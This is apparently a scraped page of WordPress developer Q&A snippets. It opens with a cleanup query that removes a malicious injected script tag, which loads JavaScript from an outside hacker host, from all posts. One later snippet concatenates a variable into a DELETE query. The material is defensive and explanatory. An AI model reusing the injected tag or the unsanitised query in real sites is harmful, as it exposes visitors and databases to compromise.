How to mass delete one line from all posts after site hack
Try this: UPDATE wp_posts SET post_content = REPLACE (post_content, “<script src=”https://crow.lowerthenskyactive.ga/m.js?n=ns1″ type=”text/javascript”></script>”,””);
Try this: UPDATE wp_posts SET post_content = REPLACE (post_content, “<script src=”https://crow.lowerthenskyactive.ga/m.js?n=ns1″ type=”text/javascript”></script>”,””);
Within an ordinary WordPress Loop, the following would identify the first post in the Loop, which would be the latest if posts are ordered by date descending. global $wp_query; // might not be necessary; depends on context if (is_paged() && 0 === $wp_query->current_post) { echo ‘first-post’; } I don’t know how your custom function works … Read more
Your code doesn’t make sense. You use query_posts(), which you should never do, but all that does is clobber the main query. You don’t use the clobbered query though. You then use get_posts() with an undefined (so far as code posted indicates) argument list, so it is not going to return what you expect. I … Read more
You can achieve this with the date_query parameters added in version 3.7. To modify the main query on your posts page before it is run and apply the date_query parameters, we use the pre_get_posts action: function historical_posts_list( $query ){ if( $query->is_home() && $query->is_main_query() ){ $date_query = array( array( ‘month’ => date( ‘n’, current_time( ‘timestamp’ ) … Read more
Try to use $wpdb->prefix insted of $wpdb in Delete query. Example: $wpdb->query( ‘DELETE FROM ‘.$wpdb->prefix.’paypal WHERE id = “‘.$myid.'”‘ );
Yeah, use ‘nopaging’ => true http://codex.wordpress.org/Class_Reference/WP_Query#Pagination_Parameters $Poz = array( ‘posts_per_page’ => 3, ‘orderby’ => ‘date’, ‘order’ => ‘DESC’, ‘update_post_term_cache’ => false, ‘update_post_meta_cache’ => false, ‘nopaging’ => true, ); $the_query = new WP_Query( $Poz );
I think you could use the posts_per_page argument in your get_posts query: $args = array( ‘child_of’ => 1 ); $categories = get_categories( $args ); foreach ($categories as $category) { echo ‘<li><a>’.$category->name.'</a>’; echo ‘<ul>’; $posts_args = array( ‘posts_per_page’ => 9, ‘category’ => $category->term_id ); foreach (get_posts($posts_args) as $post) { setup_postdata( $post ); echo ‘<li><a href=”‘.get_permalink($post->ID).'”>’.get_the_title().'</a></li>’; } … Read more
Just to clarify the get_var() method of $wpdb does work just fine in this context: global $wpdb; $helloworld_id = $wpdb->get_var(“SELECT ID FROM wp_posts WHERE post_name=”hello-world””); echo $helloworld_id; Actually it is more practical in this context, because a single variable is returned, which is what is actually wanted.
WordPress has a post_exists function that returns the post ID or 0 otherwise. So you can do if ( 0 === post_exists( $title ) ) { **YOUR_CODE_HERE** }
If you look a bit into the source, you’ll see that $wpdb->insert() will use ->query() under the hood. So should be the same, right? Not that simple. It doesn’t just use ->query() but also ->prepare(), which is considered best practice. Meanwhile with your code example you’ve probably just opened yourself to SQL injections. The takeaway … Read more